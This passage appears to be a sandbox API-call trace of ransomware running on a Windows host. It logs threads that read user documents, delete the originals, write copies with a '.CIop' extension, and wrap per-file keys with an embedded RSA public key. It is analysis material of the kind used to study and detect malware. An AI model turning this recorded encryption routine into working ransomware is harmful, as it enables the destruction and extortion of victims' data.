(lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\GAgDtV.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\gagdtv.ods")) returned 0 Thread: id = 67 os_tid = 0x910 [0090.968] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.968] lstrcpyW (in: lpString1=0x2f0f368, lpString2="yhA0tWH2QIX.odt" | out: lpString1="yhA0tWH2QIX.odt") returned="yhA0tWH2QIX.odt" [0090.968] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.968] SetErrorMode (uMode=0x1) returned 0x1 [0090.968] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt") returned 92 [0090.968] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt", dwFileAttributes=0x20) returned 1 [0090.969] StrStrW (lpFirst="yhA0tWH2QIX.odt", lpSrch=".CIop") returned 0x0 [0090.969] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt.CIop") returned 97 [0090.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\yha0twh2qix.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420 [0090.970] ReadFile (in: hFile=0x420, lpBuffer=0x636ce0, nNumberOfBytesToRead=0xe7a2, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0xe7a2, lpOverlapped=0x0) returned 1 [0090.970] CloseHandle (hObject=0x420) returned 1 [0090.970] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\yha0twh2qix.odt")) returned 1 [0090.972] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.972] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.972] SetErrorMode (uMode=0x1) returned 0x1 [0090.972] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614330) returned 1 [0090.974] CryptGenKey (in: hProv=0x614330, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3790) returned 1 [0091.002] CryptExportKey (in: hKey=0x5c3790, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.002] CryptExportKey (in: hKey=0x5c3790, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.002] CryptDestroyKey (hKey=0x5c3790) returned 1 [0091.002] CryptReleaseContext (hProv=0x614330, dwFlags=0x0) returned 1 [0091.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\yha0twh2qix.odt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430 [0091.003] WriteFile (in: hFile=0x430, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0xe7a2, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0xe7a2, lpOverlapped=0x0) returned 1 [0091.004] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe7a2 [0091.004] WriteFile (in: hFile=0x430, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.004] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe7a9 [0091.004] SetErrorMode (uMode=0x1) returned 0x1 [0091.004] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.004] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.004] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.004] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614000) returned 1 [0091.005] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614000, dwCertEncodingType=0x1, pInfo=0x6825f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3950) returned 1 [0091.005] CryptEncrypt (in: hKey=0x5c3950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.005] CryptEncrypt (in: hKey=0x5c3950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614330*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614330*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.005] WriteFile (in: hFile=0x430, lpBuffer=0x614330*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614330*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.005] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.006] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.006] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.006] CloseHandle (hObject=0x430) returned 1 [0091.007] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\yhA0tWH2QIX.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\yha0twh2qix.odt")) returned 0 Thread: id = 68 os_tid = 0x754 [0091.008] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.008] lstrcpyW (in: lpString1=0x306f368, lpString2="51gZ9cs6QyQwB.xlsx" | out: lpString1="51gZ9cs6QyQwB.xlsx") returned="51gZ9cs6QyQwB.xlsx" [0091.008] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0091.008] SetErrorMode (uMode=0x1) returned 0x1 [0091.008] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx") returned 104 [0091.008] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx", dwFileAttributes=0x20) returned 1 [0091.009] StrStrW (lpFirst="51gZ9cs6QyQwB.xlsx", lpSrch=".CIop") returned 0x0 [0091.009] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx.CIop") returned 109 [0091.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\51gz9cs6qyqwb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428 [0091.009] ReadFile (in: hFile=0x428, lpBuffer=0x6265d0, nNumberOfBytesToRead=0xbe8b, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x306e5e8*=0xbe8b, lpOverlapped=0x0) returned 1 [0091.010] CloseHandle (hObject=0x428) returned 1 [0091.010] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\51gz9cs6qyqwb.xlsx")) returned 1 [0091.012] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0091.012] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0091.012] SetErrorMode (uMode=0x1) returned 0x1 [0091.012] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x613ef0) returned 1 [0091.015] CryptGenKey (in: hProv=0x613ef0, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c3690) returned 1 [0091.047] CryptExportKey (in: hKey=0x5c3690, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0091.047] CryptExportKey (in: hKey=0x5c3690, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0091.047] CryptDestroyKey (hKey=0x5c3690) returned 1 [0091.047] CryptReleaseContext (hProv=0x613ef0, dwFlags=0x0) returned 1 [0091.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\51gz9cs6qyqwb.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434 [0091.048] WriteFile (in: hFile=0x434, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0xbe8b, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x306e5d8*=0xbe8b, lpOverlapped=0x0) returned 1 [0091.049] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbe8b [0091.049] WriteFile (in: hFile=0x434, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.049] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbe92 [0091.049] SetErrorMode (uMode=0x1) returned 0x1 [0091.049] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.049] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.049] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0091.049] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x613ef0) returned 1 [0091.049] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613ef0, dwCertEncodingType=0x1, pInfo=0x682380, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c36d0) returned 1 [0091.049] CryptEncrypt (in: hKey=0x5c36d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0091.049] CryptEncrypt (in: hKey=0x5c36d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613670*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613670*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0091.049] WriteFile (in: hFile=0x434, lpBuffer=0x613670*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613670*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.050] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.050] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.050] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.050] CloseHandle (hObject=0x434) returned 1 [0091.052] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\51gZ9cs6QyQwB.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\51gz9cs6qyqwb.xlsx")) returned 0 Thread: id = 69 os_tid = 0x264 [0091.052] lstrcpyA (in: lpString1=0x2f2e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.052] lstrcpyW (in: lpString1=0x2f2f368, lpString2="FMVnxBVv7u9Rp.docx" | out: lpString1="FMVnxBVv7u9Rp.docx") returned="FMVnxBVv7u9Rp.docx" [0091.052] lstrcpyW (in: lpString1=0x2f2f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0091.052] SetErrorMode (uMode=0x1) returned 0x1 [0091.053] wsprintfW (in: param_1=0x2f2eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx") returned 104 [0091.053] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx", dwFileAttributes=0x20) returned 1 [0091.053] StrStrW (lpFirst="FMVnxBVv7u9Rp.docx", lpSrch=".CIop") returned 0x0 [0091.053] wsprintfW (in: param_1=0x2f2e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx.CIop") returned 109 [0091.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\fmvnxbvv7u9rp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x42c [0091.054] ReadFile (in: hFile=0x42c, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x10753, lpNumberOfBytesRead=0x2f2e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f2e5e8*=0x10753, lpOverlapped=0x0) returned 1 [0091.055] CloseHandle (hObject=0x42c) returned 1 [0091.055] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\fmvnxbvv7u9rp.docx")) returned 1 [0091.056] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0091.057] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0091.057] SetErrorMode (uMode=0x1) returned 0x1 [0091.057] CryptAcquireContextW (in: phProv=0x2f2e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f2e5b8*=0x613f78) returned 1 [0091.059] CryptGenKey (in: hProv=0x613f78, Algid=0x1, dwFlags=0x4000, phKey=0x2f2e5bc | out: phKey=0x2f2e5bc*=0x5c3510) returned 1 [0091.145] CryptExportKey (in: hKey=0x5c3510, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f2e5ec | out: pbData=0x0*, pdwDataLen=0x2f2e5ec*=0x94) returned 1 [0091.145] CryptExportKey (in: hKey=0x5c3510, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x2f2e5ec | out: pbData=0x2de0000*, pdwDataLen=0x2f2e5ec*=0x94) returned 1 [0091.145] CryptDestroyKey (hKey=0x5c3510) returned 1 [0091.145] CryptReleaseContext (hProv=0x613f78, dwFlags=0x0) returned 1 [0091.145] CreateFileW 